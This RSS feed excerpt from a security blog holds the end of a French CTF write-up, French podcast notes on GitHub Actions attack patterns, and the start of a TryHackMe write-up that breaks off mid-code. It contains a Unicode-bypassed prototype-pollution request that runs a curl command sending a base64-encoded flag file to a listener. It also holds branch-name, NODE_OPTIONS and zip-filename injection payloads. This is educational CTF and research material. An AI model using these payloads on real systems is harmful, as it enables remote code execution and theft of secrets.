style="color:#E06C75">debugHealthcheck</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E5C07B"> service</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">debugHealthcheck</span><span style="color:#56B6C2"> !==</span><span style="color:#98C379"> ""</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">            return</span><span style="color:#E5C07B"> service</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">debugHealthcheck</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">        }</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#E06C75"> healthcheck</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">};</span></span></code></pre></div></div></figure><p>La pollution de prototype servira alors à définir une fonction <code>service.debugHealthcheck</code> pour RCE.Pour déclencher la pollution de prototype, il faut déclencher <code>SafeMerge()</code> dans <code>updateConfig</code>. Dans l'UI cela se fera via le menu <code>Modifier la configuration</code>.</p><p>Pour exploiter <code>SafeMerge()</code>, il faudra utiliser une ruse Unicode. En effet, une normalisation avec décomposition NFKC est effectuée après le filtre qui vérifie la présence de <code>__proto__</code> au lieu de le faire avant. Une erreur qui va nous permettre de contourner la protection anti-PP.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">export</span><span style="color:#C678DD"> const</span><span style="color:#61AFEF"> SafeMerge</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">target</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">source</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E5C07B">  Object</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">keys</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">source</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">forEach</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">Key</span><span style="color:#C678DD"> =></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> ([</span><span style="color:#98C379">"__proto__"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"prototype"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"constructor"</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">includes</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">Key</span><span style="color:#ABB2BF">)) </span><span style="color:#C678DD">return</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> escKey</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Key</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">normalize</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"NFKC"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> sourceValue</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> source</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">Key</span><span style="color:#ABB2BF">];</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#C678DD">typeof</span><span style="color:#E06C75"> target</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">escKey</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">!==</span><span style="color:#98C379"> "undefined"</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#C678DD"> typeof</span><span style="color:#E06C75"> sourceValue</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> "object"</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E06C75"> sourceValue</span><span style="color:#56B6C2"> !==</span><span style="color:#D19A66"> null</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">      target</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">escKey</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> SafeMerge</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">target</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">escKey</span><span style="color:#ABB2BF">], </span><span style="color:#E06C75">sourceValue</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">      target</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">escKey</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> sourceValue</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">  });</span></span><span class="line"><span style="color:#C678DD">  return</span><span style="color:#E06C75"> target</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p><a href="https://util.unicode.org/UnicodeJsps/list-unicodeset.jsp?a=%5B:toNFKC=_:%5D">Plusieurs caractères</a> Unicode peuvent donner un <code>_</code> (U+005F) une fois normalisé avec NFKC comme <code>＿</code> (U+FF3F).</p><p>La requête avec la <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution#prototype-pollution-via-json-input">pollution de prototype en JSON</a> ressemblera alors à ça :</p><figure class="shiki http"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">POST</span><span style="color:#ABB2BF"> /admin/dashboard/config </span><span style="color:#C678DD">HTTP</span><span style="color:#ABB2BF">/</span><span style="color:#D19A66">1.1</span></span><span class="line"><span style="color:#E06C75">Host</span><span style="color:#C678DD">:</span><span style="color:#98C379"> localhost:5000</span></span><span class="line"><span style="color:#E06C75">Content-Length</span><span style="color:#C678DD">:</span><span style="color:#98C379"> 159</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua-platform</span><span style="color:#C678DD">:</span><span style="color:#98C379"> "Linux"</span></span><span class="line"><span style="color:#E06C75">Accept-Language</span><span style="color:#C678DD">:</span><span style="color:#98C379"> en-US,en;q=0.9</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua</span><span style="color:#C678DD">:</span><span style="color:#98C379"> "Chromium";v="133", "Not(A:Brand";v="99"</span></span><span class="line"><span style="color:#E06C75">Content-Type</span><span style="color:#C678DD">:</span><span style="color:#98C379"> application/json</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua-mobile</span><span style="color:#C678DD">:</span><span style="color:#98C379"> ?0</span></span><span class="line"><span style="color:#E06C75">User-Agent</span><span style="color:#C678DD">:</span><span style="color:#98C379"> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36</span></span><span class="line"><span style="color:#E06C75">Accept</span><span style="color:#C678DD">:</span><span style="color:#98C379"> */*</span></span><span class="line"><span style="color:#E06C75">Origin</span><span style="color:#C678DD">:</span><span style="color:#98C379"> http://localhost:5000</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Site</span><span style="color:#C678DD">:</span><span style="color:#98C379"> same-origin</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Mode</span><span style="color:#C678DD">:</span><span style="color:#98C379"> cors</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Dest</span><span style="color:#C678DD">:</span><span style="color:#98C379"> empty</span></span><span class="line"><span style="color:#E06C75">Referer</span><span style="color:#C678DD">:</span><span style="color:#98C379"> http://localhost:5000/admin/dashboard</span></span><span class="line"><span style="color:#E06C75">Accept-Encoding</span><span style="color:#C678DD">:</span><span style="color:#98C379"> gzip, deflate, br</span></span><span class="line"><span style="color:#E06C75">Cookie</span><span style="color:#C678DD">:</span><span style="color:#98C379"> jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NDIxNzI1NzQsImV4cCI6MTc0MjE3OTc3NH0.MxVTZNdiUAAcHDOLctY3QdrdSR57fyCY1Sj91p0kpmUbb</span></span><span class="line"><span style="color:#E06C75">Connection</span><span style="color:#C678DD">:</span><span style="color:#98C379"> keep-alive</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#E06C75">  "showOption"</span><span style="color:#ABB2BF">: {</span></span><span class="line"><span style="color:#E06C75">    "display"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">true</span></span><span class="line"><span style="color:#ABB2BF">  },</span></span><span class="line"><span style="color:#E06C75">  "debug"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">true</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">  "</span><span style="color:#56B6C2">\uff3f\uff3f</span><span style="color:#E06C75">proto</span><span style="color:#56B6C2">\uff3f\uff3f</span><span style="color:#E06C75">"</span><span style="color:#ABB2BF">: {</span></span><span class="line"><span style="color:#E06C75">    "debugHealthcheck"</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"curl -k https://10.0.2.15:9999/$(cat /app/flag.txt|base64)"</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>Ce qui permet de recevoir le flag.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudo ncat --ssl -nlvp 9999</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.</span></span><span class="line"><span>Ncat: SHA-1 fingerprint: 03FC 5C96 D7F9 3FDF 80FB EEFA 6A1C D6E0 475A 8D40</span></span><span class="line"><span>Ncat: Listening on [::]:9999</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:9999</span></span><span class="line"><span>Ncat: Connection from 172.17.0.3:50158.</span></span><span class="line"><span>GET /QlpIQ1RGe0Zha2VfRmxhZ30= HTTP/1.1</span></span><span class="line"><span>Host: 10.0.2.15:9999</span></span><span class="line"><span>User-Agent: curl/7.88.1</span></span><span class="line"><span>Accept: */*</span></span><span class="line"><span></span></span><span class="line"><span>➜ printf %s 'QlpIQ1RGe0Zha2VfRmxhZ30=' | base64 -d</span></span><span class="line"><span>BZHCTF{Fake_Flag}</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E11 - Panorama de la sécurité de Github Action</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E11-github-action/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>11</td>
</tr>
</tbody>
</table>
<iframe tit]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <pubDate>Tue, 23 Jul 2024 21:25:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>11</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/1PthvpVcccvc1GfxAymoij">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/654357931">Deezer</a></li><li><a href="https://youtu.be/ZK9KeXK6-d8">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=ZK9KeXK6-d8">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/33e01e01-027d-48c3-80d2-077aec2016d3/service-hacktion-s01e11---panorama-de-la-s%C3%A9curit%C3%A9-de-github-action">Amazon Music</a></li><li><a href="https://podcasts.apple.com/fr/podcast/s01e11-panorama-de-la-s%C3%A9curit%C3%A9-de-github-action/id1725734663?i=1000663127246">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=25497311866">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e11-panorama-de-la-securite-de-github-action">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e11-panorama-de-la-securite-218050158">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e11-panorama-de-la-securite-de-github-action/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e11-panorama-de-la-securite-de-github-action">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-da2d54e0-a012-4b12-bcbb-06ca079b0dc3/s01e11-panorama-de-la-securite-de-github-action/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e11-panorama-de-la-securite-de-github-action--60781578">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><h3 id="Vocabulaire">Vocabulaire<a class="header-anchor" href="#Vocabulaire">#</a></h3><ul><li><strong>IC</strong> : intégration continue (<em>CI</em> : <em>continuous integration</em> en anglais)</li><li><strong>DC</strong> : déploiement continue (<em>CD</em> : <em>continuous deployment</em> en anglais)</li><li><strong>Github Action</strong> : nom de l'outil de IC/DC intégré de Github</li><li><strong>ECD</strong> : exécution de code à distance (<em>RCE</em> : <em>remote code execution</em> en anglais)</li><li><strong>fusiodemande</strong> : demande de fusion d'un changement de code dans un dépôt git (<em>merge request</em> en anglais)</li><li><strong>tube</strong> ou <strong>bitoduc</strong> : conduits transportant des bits (<em>pipeline</em> en anglais)</li></ul><h3 id="Partie-1-Apercu">Partie 1 - Aperçu<a class="header-anchor" href="#Partie-1-Apercu">#</a></h3><ul><li><strong>Introduction</strong></li><li><strong>Contexte</strong> GitHub<ul><li>Contextes intéressant pour un attaquant : <code>env</code>, <code>secrets</code>, <code>github</code>, <code>steps</code>, <code>needs</code></li><li>Exemple d'ECD : <code>$&#123;&#123; github.event.issue.title &#125;&#125;</code> et <code>$(id)</code> dans le titre d'un ticket</li></ul></li><li><strong>Secrets Github</strong></li><li><strong>Permissions des flux de travaux</strong><ul><li><code>github.token</code> ou <code>secrets.GITHUB_TOKEN</code> : jeton d'authentification spécifique à chaque tâche</li><li>Par défaut, le jeton à accès en lecture seule au dépôt</li><li>Avant 2022, le jeton avait aussi le droit d'écriture par défaut</li><li>Le changement n'est pas forcé, les organisations créées avant cette date ont toujours le droit d'écrite par défaut</li><li>Peut être défini de manière granulaire</li></ul></li><li><strong>Nouveaux contributeurs</strong><ul><li>Par défaut, les flux de travail déclenchés par des fusiodemandes des nouveaux contributeurs externes à des dépôts publics demandent une approbation pour s'exécuter automatiquement</li><li>Le flux de travail sera mis en pause en attendant</li><li>Facilement contournable : faire 1ère contribution anodine et une 2ième malveillante</li></ul></li><li><strong>Déclenchements des flux de travail</strong><ul><li><code>push</code> - peu utile pour l'attaquant</li><li><code>pull_request</code> - pour cet évènement <code>GITHUB_TOKEN</code> est restreint : il ne peut pas avoir de droit en écriture, sinon tout le monde pourrait modifier le code du projet, et ne peut pas lire les secrets</li><li><code>pull_request_target</code> - lors d'activité sur une fusiodemande, ex : quand la branche a été mise à jour, à accès en écriture et aux secrets, peut être configuré de manière granulaire sur les types d'évènements</li><li><code>workflow_run</code> - quand un flux de travail est demandé ou en cours ou complété, permet de chainer plusieurs flux de travail, n'hérite pas des droits, le flux fils (celui avec <code>workflow_run</code>) est privilégié (écriture + accès aux secrets)<ul><li><code>action/checkout@v2</code> + <code>ref: $&#123;&#123; github.event.workflow_run.head_sha &#125;&#125;</code> : se base sur le <code>commit</code> qui a déclenché le flux de travail, peut exécuter le code de l'attaquant, ex : dans un des étapes suivantes est exécutée la commande <code>npm run script-perso</code> et que l'attaquant a modifié <code>package.json</code> pour contenir sa commande malveillante dans <code>scripts.script-perso</code>.</li><li>Téléchargement d'un artefact et fait quelque chose avec, il suffit alors d'écrire par dessus</li></ul></li></ul></li></ul><h3 id="Partie-2-Exemples-de-cas-reels">Partie 2 - Exemples de cas réels<a class="header-anchor" href="#Partie-2-Exemples-de-cas-reels">#</a></h3><ul><li><strong>Injection d'expressions - Éléments contrôlables par un attaquant</strong><ul><li><code>github.event.issue.&#123;title,body&#125;</code>, <code>github.event.pull_request.&#123;title,body&#125;</code>, <code>github.event.&#123;comment,review&#125;.body</code>, <code>github.event.commits.*.message</code>, <code>github.event.commits.*.author.&#123;email,name&#125;</code>, <code>env.*</code>, etc.</li><li>Apache Superset : évènement <code>issue_comment</code> + <code>github.event.comment.body</code> dans un <code>run</code></li><li>AutoGPT : évènement <code>pull_request_target</code> sur plusieurs branches + <code>github.event.pull_request.head.ref</code> concaténé dans un script bash, ex. de charge utile <code>&quot;;&#123;echo,aWQK&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;;echo&quot;</code> en nom de branche puis fusiodemande</li><li>Microsoft Generative AI for Beginners : évènement <code>pull_request_target</code> + <code>actions/checkout@v3</code> avec <code>ref: $&#123;&#123; github.event.pull_request.head.sha &#125;&#125;</code> dont on peut abuser avec un fichier Markdown spécifiquement conçu</li><li>ant-design : évènement <code>workflow_run</code> + <code>actions/checkout@v4</code> + <code>dawidd6/action-download-artifact@v2</code> et un fichier JS est exécuter, il suffit de créer un flux de travail avec le même nom et d'utiliser <code>actions/upload-artifact@v3</code></li></ul></li><li><strong>Bascules (git) dangereuses</strong><ul><li>Cypress : évènement <code>pull_request_target</code> + <code>actions/checkout@v3</code> avec <code>ref: $&#123;&#123; github.event.pull_request.head.ref &#125;&#125;</code> puis <code>npm install</code>, il suffit d'éditer <code>package.json</code></li><li>AutoGPT : évènement <code>pull_request_target</code> + <code>actions/checkout@v3</code> avec <code>ref: $&#123;&#123; github.event.pull_request.head.ref &#125;&#125;</code> puis <code>pip install -r requirements.txt</code>, il suffit d'éditer <code>requirements.txt</code></li><li>excalidraw : évènement <code>issue_comment</code> + … + <code>actions/checkout@v2</code> où est récupéré l'identifiant de la fusiodemande puis utilisation de <code>yarn</code>, il suffit de créer un fichier <code>.yarnrc.yml</code></li><li>Apache Doris ou FreeRDP ou Angular : évènement <code>pull_request_target</code> + <code>actions/checkout@v3</code> avec <code>ref: $&#123;&#123; github.event.pull_request.head.sha &#125;&#125;</code> et applique un correctif sur <code>actions/action-sh-checker</code></li></ul></li></ul><h3 id="Partie-3">Partie 3<a class="header-anchor" href="#Partie-3">#</a></h3><ul><li><strong>Détournement de dépôt</strong> (<em>repository hijacking</em> en anglais)<ul><li>Je créé des mots-valises : <strong>détournepôt</strong> ou <strong>dépônement</strong> (<em>repojacking</em> en anglais)</li><li>Quand un flux de travail fait référence à une action sur une organisation ou un utilisateur GitHub inexistant (similaire aux prises de contrôle d'un sous-domaine)</li><li>Il suffit de réclamer l'organisation et de créer un dépôt pour l'action mentionnée pour avoir une ECD dans le flux de travail</li><li>Pour se protéger contre le détournement de dépôt, GitHub utilise un mécanisme de sécurité qui interdit l'enregistrement de dépôts ayant déjà existés avec plus de 100 clones au cours de la semaine précédant le changement de nom ou la suppression du compte du propriétaire</li><li>Cela est arrivé sur un dépôt Azure</li></ul></li><li><strong>Écriture dangereuse</strong><ul><li>Des variables d'environnement crées par défaut</li><li>Les variables d'environnement sont partagées entre les étapes</li><li>On peut ECD avec <code>LD_PRELOAD</code> ou <code>NODE_OPTIONS</code> si on peut contrôler cette variable dans une autre étape<ul><li><code>NODE_OPTIONS=&quot;--experiment --experimental-loader=data:text/javascript,console.log('injection');&quot;</code></li></ul></li><li>Exemple d'un cas un peu plus sofistiqué pour swagger-editor</li><li><code>NODE_OPTIONS</code> mis sur liste noire dans les versions récentes de GitHub runner</li></ul></li><li><strong>Commande de flux de travail</strong><ul><li>Commande pour interagir directement avec la machine</li><li>Avant 2020 il était facile d'injecter <code>set-env</code> pour ECD</li><li>Si le dev. active <code>ACTIONS_ALLOW_UNSECURE_COMMANDS</code>, on peut utiliser <code>set-env</code></li><li>Il y a toujours <code>set-output</code>, déprécié, vuln. dans un dépôt Firebase<ul><li>Test si <code>pr_number.txt</code> contient bien un nombre</li><li>La valeur du fichier est stocké dans <code>echo &quot;::set-output name=pr_number::$pr_number&quot;</code></li><li>Puis utilisé dans une autre étape <code>$&#123;&#123; steps.unzip.outputs.pr_number &#125;&#125;</code></li><li>La commande <code>unzip</code> va afficher le nom du fichier dans STDOUT</li><li>Avec un nom de fichier malveillant dans le Zip on peut donc contrôler la valeur de <code>pr_number</code> qui sera executé</li><li>Exemple de nom de fichier dans le Zip : <code>steps/Hello ##[set-output name=pr_number;]'end'&#125;); console.log('pwn') ; console.log(&#123;console</code></li><li><code>pr_number</code> = <code>'end'&#125;); console.log('pwn') ; console.log(&#123;console</code></li></ul></li></ul></li></ul><h3 id="References">Références<a class="header-anchor" href="#References">#</a></h3><p><strong>Synacktiv</strong></p><ul><li>Partie 1 - <a href="https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction">Synacktiv - 🇬🇧 GitHub Actions exploitation: introduction</a><ul><li>🇫🇷 Exploitation des <em>GitHub Actions</em> : introduction</li></ul></li><li>Partie 2 - <a href="https://www.synacktiv.com/publications/github-actions-exploitation-untrusted-input">Synacktiv - 🇬🇧 GitHub Actions exploitation: untrusted input</a><ul><li>🇫🇷 Exploitation des <em>GitHub Actions</em> : entrée non fiable</li></ul></li><li>Partie 3 - <a href="https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation">Synacktiv - 🇬🇧 GitHub Actions exploitation: repo jacking and environment manipulation</a><ul><li>🇫🇷 Exploitation des <em>GitHub Actions</em> : détournement de dépôt et manipulation de l'environnement</li></ul></li></ul><p><strong>Legit Security</strong></p><ul><li>Partie 1 - <a href="https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability">Legit Security - 🇬🇧 Vulnerable GitHub Actions Workflows Part 1: Privilege Escalation Inside Your CI/CD Pipeline</a><ul><li>🇫🇷 Flux de travail Github Action vulnérables partie 1 : Élévation de privilèges à l'intérieur de votre bitoduc IC/DC</li></ul></li><li>Partie 2 - <a href="https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks">Legit Security - 🇬🇧 Vulnerable GitHub Actions Workflows Part 2: Actions That Open the Door to CI/CD Pipeline Attacks</a></li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>New York Flankees - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-New-York-Flankees-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> New York Flankees</l]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/crypto/">crypto</category>
      <category domain="https://blog.raw.pm/tags/rce/">rce</category>
      <category domain="https://blog.raw.pm/tags/eop/">eop</category>
      <category domain="https://blog.raw.pm/tags/docker/">docker</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/aes/">aes</category>
      <category domain="https://blog.raw.pm/tags/padding/">padding</category>
      <category domain="https://blog.raw.pm/tags/oracle/">oracle</category>
      <pubDate>Sat, 20 Jul 2024 23:19:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> New York Flankees</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/thenewyorkflankees">tryhackme.com</a></li><li><strong>Difficulty:</strong> Medium</li><li><strong>Description</strong>: Can you, the rogue adventurer, break through Stefan's defences to take control of his blog!</li></ul><p><img src="/images/TryHackMe/thenewyorkflankees.png" alt="New York Flankees"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on BlackArch Linux:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> curl</span><span style="color:#98C379"> rustpad</span><span style="color:#98C379"> gtfoblookup</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart8116" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart8116').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        1,        2,        2,        4,        4,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Obectives">Obectives<a class="header-anchor" href="#Obectives">#</a></h2><blockquote><p><strong>Flag 1</strong> What is the cleartext value of the decrypted blob (the format is element1:element2)?</p></blockquote><blockquote><p><strong>Flag 2</strong> What is the flag in the admin panel?</p></blockquote><blockquote><p><strong>Flag 3</strong> Dig around in the container. What is the second flag?</p></blockquote><blockquote><p><strong>Flag 4</strong> What is the final flag?</p></blockquote><h2 id="Network-enumeration">Network enumeration<a class="header-anchor" href="#Network-enumeration">#</a></h2><p>Port and service enumeration with nmap.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> nmap</span><span style="color:#D19A66"> -sSVC</span><span style="color:#D19A66"> -p-</span><span style="color:#D19A66"> -T4</span><span style="color:#D19A66"> 10.10.171.186</span><span style="color:#D19A66"> -v</span></span></code></pre></div></div></figure><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>PORT     STATE SERVICE VERSION</span></span><span class="line"><span>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   3072 30:2f:78:a5:dc:68:17:da:39:23:54:c3:3b:e1:9d:c4 (RSA)</span></span><span class="line"><span>|   256 d0:4c:86:54:a5:22:46:d1:8d:3d:a5:f3:72:46:16:69 (ECDSA)</span></span><span class="line"><span>|_  256 da:d0:ef:73:60:b7:16:c3:23:db:d1:22:09:f7:5b:eb (ED25519)</span></span><span class="line"><span>8080/tcp open  http    Octoshape P2P streaming web service</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: GET</span></span><span class="line"><span>|_http-title: Hello world!</span></span><span class="line"><span>|_http-favicon: Unknown favicon MD5: 6FD74A43E6C5F7502642326FAB0B3E69</span></span><span class="line"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></span></code></pre></div></div></figure><p>I gave an arbitrary name to the machine to access it more easily than with the IP address.</p><figure class="shiki text"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ grep stefan /etc/hosts</span></span><span class="line"><span>10.10.171.186 stefan.thm</span></span></code></pre></div></div></figure><h2 id="Web-enumeration">Web enumeration<a class="header-anchor" href="#Web-enumeration">#</a></h2><p>Let's start with the web server on port 8080 : <a href="http://stefan.thm:8080/">http://stefan.thm:8080/</a>.</p><p>There are some pages linked in the HTML or in JS:</p><ul><li><code>/debug.html</code></li><li><code>/login.html</code></li><li><code>/exec.html</code></li></ul><p>This script is included:</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addEventListener</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'DOMContentLoaded'</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">function</span><span style="color:#ABB2BF">() {</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    // Check if the "isLoggedIn" cookie exists</span></span><span 